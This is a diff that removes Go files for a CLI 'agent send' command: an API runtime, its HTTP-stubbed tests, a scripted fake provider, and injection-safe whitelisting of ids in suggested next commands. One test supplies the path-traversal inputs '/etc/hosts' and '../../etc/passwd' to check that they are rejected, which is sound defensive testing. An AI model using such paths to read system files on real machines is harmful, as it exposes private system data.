@@ -1,11 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-// Provider packages are pure data (no init side effect); the top-level agent
-// package's init aggregates and registers them. In production that package is
-// blank-imported from cmd/build.go, not by cmd/agent. Several tests here exercise
-// the real example scheme (example:echo / example:reporter), so blank-import the
-// top-level agent package to run its registration for the test binary.
-import _ "github.com/larksuite/cli/agent"
--- a/cmd/agent/runtime.go
+++ b/cmd/agent/runtime.go
@@ -1,107 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-
-	larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/client"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/validate"
-	"github.com/larksuite/cli/internal/vfs"
-)
-
-// cmdRuntime is the concrete iagent.Runtime: it routes provider hook calls
-// through the shared client.APIClient under a pinned identity (mirrors event's
-// consumeRuntime in cmd/event/runtime.go). Provider code never sees the client,
-// the identity resolution, or the response-envelope unwrap — that is exactly the
-// plumbing the old Deps struct leaked.
-type cmdRuntime struct {
-	client  *client.APIClient
-	as      core.Identity
-	agentID string
-}
-
-func (r *cmdRuntime) AgentID() string { return r.agentID }
-func (r *cmdRuntime) IsBot() bool     { return r.as == core.AsBot }
-
-func (r *cmdRuntime) CallAPI(ctx context.Context, method, path string, query map[string]string, body any) (json.RawMessage, error) {
-	var params map[string]interface{}
-	if len(query) > 0 {
-		params = make(map[string]interface{}, len(query))
-		for k, v := range query {
-			params[k] = v
-		}
-	}
-	return r.do(ctx, client.RawApiRequest{Method: method, URL: path, Params: params, Data: body, As: r.as})
-}
-
-func (r *cmdRuntime) CallMultipart(ctx context.Context, method, path string, fields map[string]string, files []iagent.FilePart) (json.RawMessage, error) {
-	fd := larkcore.NewFormdata()
-	for k, v := range fields {
-		fd.AddField(k, v)
-	}
-	for _, fp := range files {
-		// SafeInputPath is the framework-owned security check (no path traversal /
-		// outside CWD); a provider must never re-implement it.
-		resolved, err := validate.SafeInputPath(fp.Path)
-		if err != nil {
-			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: %v", err).
-				WithParam("--file").WithCause(err)
-		}
-		f, err := vfs.Open(resolved)
-		if err != nil {
-			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: 无法打开 %s: %v", fp.Path, err).
-				WithParam("--file").WithCause(err)
-		}
-		// Closed when CallMultipart returns, i.e. after do()'s request has read the
-		// body — deferring in the loop keeps every file open for the request.
-		defer f.Close()
-		fd.AddFile(fp.Field, f)
-	}
-	return r.do(ctx, client.RawApiRequest{
-		Method: method, URL: path, Data: fd, As: r.as,
-		ExtraOpts: []larkcore.RequestOptionFunc{larkcore.WithFileUpload()},
-	})
-}
-
-// do is the shared DoAPI → ParseJSONResponse → CheckResponse → unwrap-"data"
-// path. It returns the "data" sub-object as raw JSON (the typed Call[T]/
-// CallUpload[T] helpers decode it). Identity is sealed in r.as and never handed
-// out; any non-typed transport error is classified here so hooks only ever see
-// typed errs.* values.
-func (r *cmdRuntime) do(ctx context.Context, req client.RawApiRequest) (json.RawMessage, error) {
-	resp, err := r.client.DoAPI(ctx, req)
-	if err != nil {
-		if _, ok := errs.ProblemOf(err); ok {
-			return nil, err
-		}
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
-	}
-	result, err := client.ParseJSONResponse(resp)
-	if err != nil {
-		if _, ok := errs.ProblemOf(err); ok {
-			return nil, err
-		}
-		return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
-	}
-	if apiErr := r.client.CheckResponse(result, r.as); apiErr != nil {
-		return nil, apiErr
-	}
-	top, _ := result.(map[string]interface{})
-	dataVal, ok := top["data"]
-	if !ok || dataVal == nil {
-		return nil, nil // no "data" (e.g. a pure write) — callers get the zero value
-	}
-	raw, err := json.Marshal(dataVal)
-	if err != nil {
-		return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: re-encode data: %s", req.Method, req.URL, err).WithCause(err)
-	}
-	return raw, nil
-}
--- a/cmd/agent/runtime_test.go
+++ b/cmd/agent/runtime_test.go
@@ -1,207 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"errors"
-	"io"
-	"net/http"
-	"strings"
-	"testing"
-
-	lark "github.com/larksuite/oapi-sdk-go/v3"
-	larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/client"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/credential"
-)
-
-// staticTokenResolver always returns a fixed token without any HTTP call.
-type staticTokenResolver struct{}
-
-func (s *staticTokenResolver) ResolveToken(_ context.Context, _ credential.TokenSpec) (*credential.TokenResult, error) {
-	return &credential.TokenResult{Token: "test-token"}, nil
-}
-
-// stubRoundTripper intercepts every outgoing request with a canned response.
-type stubRoundTripper struct {
-	respond func(*http.Request) (*http.Response, error)
-}
-
-func (s stubRoundTripper) RoundTrip(r *http.Request) (*http.Response, error) { return s.respond(r) }
-
-// newTestCmdRuntime builds a cmdRuntime whose client routes every request through
-// rt (mirrors cmd/event/runtime_test.go's consumeRuntime harness). Identity is
-// pinned to as; agentID is fixed.
-func newTestCmdRuntime(rt http.RoundTripper, as core.Identity, agentID string) *cmdRuntime {
-	sdk := lark.NewClient("test-app", "test-secret",
-		lark.WithEnableTokenCache(false),
-		lark.WithLogLevel(larkcore.LogLevelError),
-		lark.WithHttpClient(&http.Client{Transport: rt}),
-	)
-	return &cmdRuntime{
-		client: &client.APIClient{
-			SDK:        sdk,
-			ErrOut:     io.Discard,
-			Credential: credential.NewCredentialProvider(nil, nil, &staticTokenResolver{}, nil),
-			Config:     &core.CliConfig{AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu},
-		},
-		as:      as,
-		agentID: agentID,
-	}
-}
-
-func jsonResponse(status int, body string) func(*http.Request) (*http.Response, error) {
-	return func(r *http.Request) (*http.Response, error) {
-		return &http.Response{
-			StatusCode: status,
-			Header:     http.Header{"Content-Type": []string{"application/json"}},
-			Body:       io.NopCloser(strings.NewReader(body)),
-			Request:    r,
-		}, nil
-	}
-}
-
-// TestCmdRuntime_IdentityAndAgentID pins invariant #4: the resolved identity is
-// surfaced only via IsBot() (never the raw client), and AgentID echoes the
-// addressed agent.
-func TestCmdRuntime_IdentityAndAgentID(t *testing.T) {
-	bot := newTestCmdRuntime(stubRoundTripper{}, core.AsBot, "agt_1")
-	if !bot.IsBot() {
-		t.Error("bot runtime should report IsBot()=true")
-	}
-	if bot.AgentID() != "agt_1" {
-		t.Errorf("AgentID should be agt_1, got %q", bot.AgentID())
-	}
-	usr := newTestCmdRuntime(stubRoundTripper{}, core.AsUser, "agt_2")
-	if usr.IsBot() {
-		t.Error("user runtime should report IsBot()=false")
-	}
-}
-
-// TestCmdRuntime_CallAPI_UnwrapsData pins do(): a 200 OAPI envelope with code=0
-// returns the raw "data" object (not the whole envelope), and the typed Call[T]
-// helper decodes that raw data into a struct.
-func TestCmdRuntime_CallAPI_UnwrapsData(t *testing.T) {
-	rt := stubRoundTripper{respond: jsonResponse(200, `{"code":0,"msg":"ok","data":{"task_id":"t1","state":"completed"}}`)}
-	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
-
-	raw, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
-	if err != nil {
-		t.Fatalf("CallAPI should succeed: %v", err)
-	}
-	var data map[string]any
-	if err := json.Unmarshal(raw, &data); err != nil {
-		t.Fatalf("CallAPI should return the raw data object as valid JSON: %v", err)
-	}
-	if data["task_id"] != "t1" || data["state"] != "completed" {
-		t.Errorf("CallAPI should return the unwrapped data object, got %+v", data)
-	}
-
-	// The typed Call[T] helper decodes that same raw data into a struct — no
-	// map[string]any assertions at the call site.
-	got, err := iagent.Call[struct {
-		TaskID string `json:"task_id"`
-		State  string `json:"state"`
-	}](context.Background(), r, "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
-	if err != nil {
-		t.Fatalf("Call[T] should succeed: %v", err)
-	}
-	if got.TaskID != "t1" || got.State != "completed" {
-		t.Errorf("Call[T] should decode data into the struct, got %+v", got)
-	}
-}
-
-// TestCmdRuntime_CallAPI_APIError pins that a non-zero code becomes a typed error
-// (CheckResponse), not a silent success.
-func TestCmdRuntime_CallAPI_APIError(t *testing.T) {
-	rt := stubRoundTripper{respond: jsonResponse(200, `{"code":1254043,"msg":"task not found"}`)}
-	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
-
-	if _, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/nope", nil, nil); err == nil {
-		t.Fatal("a non-zero API code should surface as an error")
-	} else if _, ok := errs.ProblemOf(err); !ok {
-		t.Fatalf("API error should be a typed errs error, got %T: %v", err, err)
-	}
-}
-
-// TestCmdRuntime_CallAPI_TransportError pins the transport-error branch: a
-// RoundTrip failure is classified as a network transport error.
-func TestCmdRuntime_CallAPI_TransportError(t *testing.T) {
-	rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
-		return nil, errors.New("dial refused")
-	}}
-	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
-
-	_, err := r.CallAPI(context.Background(), "POST", "/open-apis/example/v1/messages", nil, map[string]any{"text": "hi"})
-	if err == nil {
-		t.Fatal("a transport error should propagate")
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Category != errs.CategoryNetwork {
-		t.Fatalf("transport error should be a network error, got %+v", p)
-	}
-}
-
-// TestCmdRuntime_CallMultipart_RejectsUnsafePath pins invariant #5: CallMultipart
-// SafeInputPath-validates every --file BEFORE opening it, so an absolute /
-// traversal path is rejected as invalid_argument (param --file) and NO request
-// is issued (the transport panics if reached).
-func TestCmdRuntime_CallMultipart_RejectsUnsafePath(t *testing.T) {
-	rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
-		t.Fatal("no request should be issued when the --file path is unsafe")
-		return nil, nil
-	}}
-	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
-
-	for _, bad := range []string{"/etc/hosts", "../../etc/passwd"} {
-		_, err := r.CallMultipart(context.Background(), "POST", "/open-apis/example/v1/attachments",
-			map[string]string{"type": "file"},
-			[]iagent.FilePart{{Field: "file", Path: bad}})
-		if err == nil {
-			t.Fatalf("an unsafe --file path %q should be rejected", bad)
-		}
-		if !errs.IsValidation(err) {
-			t.Fatalf("unsafe path %q should be a validation error, got %T: %v", bad, err, err)
-		}
-		var ve *errs.ValidationError
-		if !errors.As(err, &ve) || ve.Param != "--file" {
-			t.Errorf("unsafe path %q should carry param --file, got %+v", bad, ve)
-		}
-	}
-}
-
-// TestCmdRuntime_CallUpload_PropagatesError pins the typed CallUpload[T] helper
-// (the multipart counterpart of Call[T]): when CallMultipart rejects an unsafe
-// --file path, CallUpload propagates that validation error and returns the zero
-// value of T without attempting a decode. Mirrors the Call[T] coverage in
-// TestCmdRuntime_CallAPI_UnwrapsData so both typed entry points a provider uses
-// are exercised, not just the JSON one.
-func TestCmdRuntime_CallUpload_PropagatesError(t *testing.T) {
-	rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
-		t.Fatal("no request should be issued when the --file path is unsafe")
-		return nil, nil
-	}}
-	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
-
-	got, err := iagent.CallUpload[struct {
-		AttachmentID string `json:"attachment_id"`
-	}](context.Background(), r, "POST", "/open-apis/example/v1/attachments",
-		map[string]string{"type": "file"},
-		[]iagent.FilePart{{Field: "file", Path: "/etc/hosts"}})
-	if err == nil {
-		t.Fatal("CallUpload with an unsafe --file path should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("CallUpload should propagate the validation error, got %T: %v", err, err)
-	}
-	if got.AttachmentID != "" {
-		t.Errorf("CallUpload should return the zero value of T on error, got %+v", got)
-	}
-}
--- a/cmd/agent/scripted_provider_test.go
+++ b/cmd/agent/scripted_provider_test.go
@@ -1,136 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"sync"
-	"testing"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-)
-
-// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
-// one AgentSpec verb; an unset hook that gets called panics — a tripwire against
-// a test reaching an unexpected provider path. The command-layer contracts under
-// test (envelope shape, watch exit codes, meta.next, pretty rendering, error
-// propagation) are provider-neutral, so the scripted hooks ignore the Runtime.
-type scriptedHooks struct {
-	send             func(in iagent.SendInput) (*iagent.AgentTask, error)
-	getTask          func(taskID string) (*iagent.AgentTask, error)
-	listTasks        func(contextID string) ([]iagent.TaskSummary, error)
-	listContexts     func() ([]iagent.ContextSummary, error)
-	getContext       func(ctxID string) (*iagent.ContextDetail, error)
-	deleteContext    func(ctxID string) error
-	downloadArtifact func(taskID, artifactID string) (*iagent.ArtifactData, error)
-}
-
-// scripted is the package-level hook set shared by every scripted instance (the
-// registered provider is fixed per package run, the hooks can be re-pointed).
-var scripted scriptedHooks
-
-// setScripted installs the hooks for one test and restores the empty (panic
-// tripwire) set on cleanup.
-func setScripted(t *testing.T, h scriptedHooks) {
-	t.Helper()
-	scripted = h
-	t.Cleanup(func() { scripted = scriptedHooks{} })
-}
-
-// scriptedSpec is the instance template whose capability surface is fixed by
-// which hooks are wired: CancelTask is deliberately left UNWIRED so
-// task_cancel=false (the cancel gate is exercised via example:echo); everything
-// else the command tests drive is wired, and FileInput=true so the --file
-// gate/confirm path is reachable. Each wired hook delegates to the per-test hook
-// and panics if it was not set.
-func scriptedSpec() *iagent.AgentSpec {
-	return &iagent.AgentSpec{
-		FileInput: true,
-		Send: func(_ context.Context, _ iagent.Runtime, in iagent.SendInput) (*iagent.AgentTask, error) {
-			if scripted.send == nil {
-				panic("scripted provider: Send hook not set")
-			}
-			return scripted.send(in)
-		},
-		GetTask: func(_ context.Context, _ iagent.Runtime, taskID string) (*iagent.AgentTask, error) {
-			if scripted.getTask == nil {
-				panic("scripted provider: GetTask hook not set")
-			}
-			return scripted.getTask(taskID)
-		},
-		ListTasks: func(_ context.Context, _ iagent.Runtime, contextID string) ([]iagent.TaskSummary, error) {
-			if scripted.listTasks == nil {
-				panic("scripted provider: ListTasks hook not set")
-			}
-			return scripted.listTasks(contextID)
-		},
-		ListContexts: func(_ context.Context, _ iagent.Runtime) ([]iagent.ContextSummary, error) {
-			if scripted.listContexts == nil {
-				panic("scripted provider: ListContexts hook not set")
-			}
-			return scripted.listContexts()
-		},
-		GetContext: func(_ context.Context, _ iagent.Runtime, ctxID string) (*iagent.ContextDetail, error) {
-			if scripted.getContext == nil {
-				panic("scripted provider: GetContext hook not set")
-			}
-			return scripted.getContext(ctxID)
-		},
-		DeleteContext: func(_ context.Context, _ iagent.Runtime, ctxID string) error {
-			if scripted.deleteContext == nil {
-				panic("scripted provider: DeleteContext hook not set")
-			}
-			return scripted.deleteContext(ctxID)
-		},
-		DownloadArtifact: func(_ context.Context, _ iagent.Runtime, taskID, artifactID string) (*iagent.ArtifactData, error) {
-			if scripted.downloadArtifact == nil {
-				panic("scripted provider: DownloadArtifact hook not set")
-			}
-			return scripted.downloadArtifact(taskID, artifactID)
-		},
-	}
-}
-
-// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
-// provider, sorted — the all-or-nothing preflight requires every one for any
-// real API verb.
-var fakescopedAllScopes = []string{
-	"fakescoped:agent_artifact:read",
-	"fakescoped:agent_attachment:write",
-	"fakescoped:agent_chat:read",
-	"fakescoped:agent_chat:write",
-}
-
-// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
-// the non-enumerable `agent list <scheme>` error surfaces it as the hint.
-const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id（形如 agt_xxx）"
-
-// registerScripted registers the two scripted schemes exactly once (Register
-// panics on duplicates). Both are instance-type (agent_id is arbitrary), and not
-// enumerable (no ListAgents hook). They leak into the package-level registry for
-// the rest of this package run — so no test may assert an exact provider set.
-//
-//   - fakeflow: no RequiredScopes (preflight always passes) — the workhorse.
-//   - fakescoped: a 4-scope RequiredScopes set, for the scope-preflight tests.
-var registerScriptedOnce sync.Once
-
-func registerScripted() {
-	registerScriptedOnce.Do(func() {
-		iagent.Register(iagent.Provider{
-			Scheme:        "fakeflow",
-			Label:         "test fake (scripted flow)",
-			AgentIDSource: fakeflowAgentIDSource,
-			Identities:    []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-			Instance:      scriptedSpec(),
-		})
-		iagent.Register(iagent.Provider{
-			Scheme:         "fakescoped",
-			Label:          "test fake (scoped)",
-			AgentIDSource:  "test only",
-			RequiredScopes: fakescopedAllScopes,
-			Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-			Instance:       scriptedSpec(),
-		})
-	})
-}
--- a/cmd/agent/send.go
+++ b/cmd/agent/send.go
@@ -1,333 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-	"regexp"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// sendOptions holds all inputs for `agent send <ref>`.
-type sendOptions struct {
-	Factory   *cmdutil.Factory
-	Cmd       *cobra.Command
-	Ref       string
-	Text      string
-	Files     []string
-	Params    []string
-	ContextID string
-	TaskID    string
-	DryRun    bool
-	Yes       bool
-	As        string
-	Format    string
-}
-
-// NewCmdAgentSend builds `agent send <agent_ref>`: send a message to a remote
-// agent, starting a new task or continuing an existing one. `--dry-run`
-// validates the inputs against the agent Card and prints the request preview
-// without any API call (always available). A send fires and returns the
-// current task immediately; poll progress with
-// `agent task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
-// `--file` uploads local files to the remote agent — the content leaves this
-// machine. Risk=write. runF, when non-nil, replaces the production run path
-// (test seam).
-func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
-	opts := &sendOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "send <agent_ref>",
-		Short: "Send a message to a remote agent (start a new task or continue an existing one)",
-		Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
-			"with --context-id (optionally --task-id) it continues the same multi-turn context (including replying to input_required/auth_required). " +
-			"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
-			"poll progress with agent task get <agent_ref> <task-id> --watch (see meta.next).",
-		Args: exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			if runF != nil {
-				return runF(opts)
-			}
-			return agentSendRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Text, "text", "", "消息正文（必填）")
-	cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径，可重复；文件会被上传到远端 provider（内容离开本机）")
-	cmd.Flags().StringArrayVar(&opts.Params, "param", nil, "agent 参数 key=value，可重复（据 card 的 parameters 决定）")
-	cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id（续发同一会话）")
-	cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发（须与 --context-id 一起用）")
-	cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览，不调用 API")
-	cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端（不加则 exit 10，不上传）")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	if f != nil {
-		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
-	} else {
-		// f is nil only in construction-time unit tests; register a bare --as so
-		// the flag surface is still assertable without a Factory.
-		cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
-	}
-	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
-	return cmd
-}
-
-// agentSendRun validates the send inputs, resolves the provider, and either
-// prints a dry-run preview or dispatches the message. The two client-side input
-// guards (empty --text; --task-id without --context-id) run first so they never
-// touch the network and hold even under a nil Factory. A send fires once
-// and returns the current task immediately (exit 0); the caller polls progress
-// via the meta.next `task get ... --watch` hint.
-func agentSendRun(opts *sendOptions) error {
-	if opts.Text == "" {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 不能为空").
-			WithParam("--text").
-			WithHint(`补充 --text "<消息内容>" 后重发`)
-	}
-	if opts.TaskID != "" && opts.ContextID == "" {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"--task-id 需与 --context-id 一起使用").
-			WithParam("--task-id").
-			WithHint("--task-id 必须与 --context-id 同时提供")
-	}
-
-	f := opts.Factory
-	// Resolution + --param validation + --dry-run are fully offline, so they work
-	// (and surface validation as exit 2) before the config gate. The card is
-	// built with rt=nil: capability matrix + statically-declared parameters only,
-	// which is all the file gate and --param validation need.
-	prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	card := iagent.BuildCard(opts.Cmd.Context(), prov, spec, agentID, nil)
-	params, err := parseAndValidateParams(opts.Params, card, opts.Ref)
-	if err != nil {
-		return err
-	}
-
-	in := iagent.SendInput{
-		Text:      opts.Text,
-		Files:     opts.Files,
-		Params:    params,
-		ContextID: opts.ContextID,
-		TaskID:    opts.TaskID,
-	}
-
-	// --dry-run is a client-side behavior: always available, never
-	// gated by the Card's dry_run capability, and never touches the API.
-	if opts.DryRun {
-		return emitDryRun(f, opts.Cmd, opts.Ref, in, opts.Format)
-	}
-
-	if len(in.Files) > 0 {
-		// An agent that does not declare file_input cannot take an upload, so
-		// --file against it is unsupported_capability — gated before any network
-		// access, so the user is not told "confirm the upload" for a send that
-		// would be rejected anyway.
-		if !card.Supports(iagent.CapFileInput) {
-			return capabilityError(opts.Ref, "send with --file", iagent.CapFileInput)
-		}
-		// --file exfiltrates local file content off this machine (the provider
-		// reads the file and uploads it to the remote agent). That is an
-		// irreversible, CLI-enforced high-risk write: a real send that would upload
-		// requires --yes, returning confirmation_required (exit 10) before any
-		// network access. dry-run above is exempt — it never uploads.
-		if !opts.Yes {
-			return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent send --file",
-				"--file 会把本地文件外发上传到远端 agent（内容离开本机，不可撤回）").
-				WithHint("确认要外发这些文件后，加 --yes 重发")
-		}
-	}
-
-	// A real send calls the API, so it needs a configured client; build the
-	// identity-pinned runtime now (not_configured / exit 3 here is correct).
-	rt, err := runtimeFor(f, id, agentID)
-	if err != nil {
-		return err
-	}
-
-	// Local scope preflight: after runtimeFor, before the API call. The check is
-	// all-or-nothing — any real API verb requires the provider's full scope set.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-
-	task, err := spec.Send(opts.Cmd.Context(), rt, in)
-	if err != nil {
-		return err
-	}
-	normalizeTask(task)
-
-	// A send fires and returns the current task immediately (exit 0). Progress is
-	// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
-	// hint — send no longer blocks on the task reaching a stop condition.
-	return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format)
-}
-
-// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
-// reconstructed from the validated input, so a caller can inspect exactly what
-// a real send would post without contacting the agent. format=pretty (no --jq)
-// renders the same fields as key: value lines instead of the envelope.
-func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagent.SendInput, format string) error {
-	if format == "pretty" && jqExpr(cmd) == "" {
-		out := f.IOStreams.Out
-		fmt.Fprintln(out, "dry_run: true")
-		fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
-		fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
-		if len(in.Files) > 0 {
-			fmt.Fprintf(out, "files: %d\n", len(in.Files))
-		}
-		if len(in.Params) > 0 {
-			fmt.Fprintf(out, "params: %d\n", len(in.Params))
-		}
-		if in.ContextID != "" {
-			fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
-		}
-		if in.TaskID != "" {
-			fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
-		}
-		return nil
-	}
-
-	would := map[string]interface{}{
-		"agent_ref": ref,
-		"text":      in.Text,
-	}
-	if len(in.Files) > 0 {
-		would["files"] = in.Files
-	}
-	if len(in.Params) > 0 {
-		would["params"] = in.Params
-	}
-	if in.ContextID != "" {
-		would["context_id"] = in.ContextID
-	}
-	if in.TaskID != "" {
-		would["task_id"] = in.TaskID
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(f.ResolvedIdentity),
-		Data: map[string]interface{}{
-			"dry_run":    true,
-			"would_send": would,
-		},
-		Notice: output.GetNotice(),
-	}
-	if jq := jqExpr(cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// nextIDPattern is the character whitelist for server-supplied identifiers
-// (task_id / context_id) before they are interpolated into a meta.next command
-// string: letters, digits, '_' and '-' only. It is deliberately stricter than
-// validate.ResourceName — that check is a denylist aimed at URL-path safety and
-// would pass shell metacharacters (spaces, ';', backticks, quotes), which are
-// exactly what matters here: meta.next is defined as "AI executes this
-// verbatim", so a server-controlled id is a command-injection surface.
-var nextIDPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
-
-// safeNextID reports whether s may be interpolated into a meta.next command.
-func safeNextID(s string) bool {
-	return nextIDPattern.MatchString(s)
-}
-
-// nextRefPattern is the whitelist for a user-supplied ref before it is
-// interpolated into a meta.next command or a hint command string: the
-// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
-// shape ParseRef accepts, further restricted to command-safe characters). A
-// ref is not server-controlled — the threat model is not injection but
-// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
-// be executed verbatim), so a failing ref simply drops the command hint.
-var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
-
-// safeNextRef reports whether ref may be interpolated into a meta.next / hint
-// command string.
-func safeNextRef(ref string) bool {
-	return nextRefPattern.MatchString(ref)
-}
-
-// nextForTask builds the meta.next[] hints for a send result: a terminal task
-// suggests fetching its artifacts / detail, a still-running task the poll
-// command, an input_required task the continue command, and an auth_required
-// task the re-authorize flow (auth login, not a text continuation). AI callers use
-// these to chain the next step without guessing the command shape, so every
-// value interpolated here must pass its whitelist first: the ref (safeNextRef)
-// and the task_id (safeNextID) each suppress the whole hint when they fail
-// (prefer dropping the hint over risking injection); a failing context_id
-// degrades to the <context_id> placeholder,
-// which keeps the hint while interpolating nothing untrusted. A hint whose
-// command carries <...> placeholders is marked Template so callers know it
-// needs substitution before execution.
-func nextForTask(ref string, task *iagent.AgentTask) []output.NextAction {
-	if !safeNextRef(ref) {
-		return nil
-	}
-	if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
-		return nil
-	}
-	if task.State.ShouldStopPolling() {
-		if task.State == iagent.StateAuthRequired {
-			// auth_required is an agent-side task state — the end user must
-			// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
-			// NOT a text continuation like input_required. Point at the auth
-			// re-authorize flow instead of a text continuation. The concrete scopes are the
-			// agent's declared scope set (see the lark-agent skill's prerequisites), so --scope is a
-			// placeholder → Template. ref/task_id are already whitelisted above, so
-			// echoing the re-check command in the label is safe.
-			return []output.NextAction{{
-				Label:    fmt.Sprintf("完成重新授权后重查任务（据该 agent 所需 scope 定；重查: lark-cli agent task get %s %s）", ref, task.TaskID),
-				Command:  `lark-cli auth login --scope "<required_scopes>"`,
-				Template: true,
-			}}
-		}
-		if task.State == iagent.StateInputRequired {
-			// A send that already needs input: point at the continue command
-			// against the same task/context. The --text value is
-			// always a placeholder, so this hint is a template — which is also why
-			// a missing or whitelist-failing context_id can degrade to the
-			// <context_id> placeholder instead of dropping the hint.
-			ctxID := task.ContextID
-			if ctxID == "" || !safeNextID(ctxID) {
-				ctxID = "<context_id>"
-			}
-			return []output.NextAction{{
-				Label:    "补充输入后向同一任务续发",
-				Command:  fmt.Sprintf("lark-cli agent send %s --context-id %s --task-id %s --text <你的答复>", ref, ctxID, task.TaskID),
-				Template: true,
-			}}
-		}
-		// Terminal: suggest reading the final detail / artifacts.
-		return []output.NextAction{{
-			Label:   "查看任务详情与产物",
-			Command: fmt.Sprintf("lark-cli agent task get %s %s", ref, task.TaskID),
-		}}
-	}
-	return []output.NextAction{{
-		Label:   "轮询任务直到停轮询条件（有界；到点未终止照此再 watch）",
-		Command: fmt.Sprintf("lark-cli agent task get %s %s --watch --timeout %s", ref, task.TaskID, defaultWatchTimeout),
-	}}
-}
-
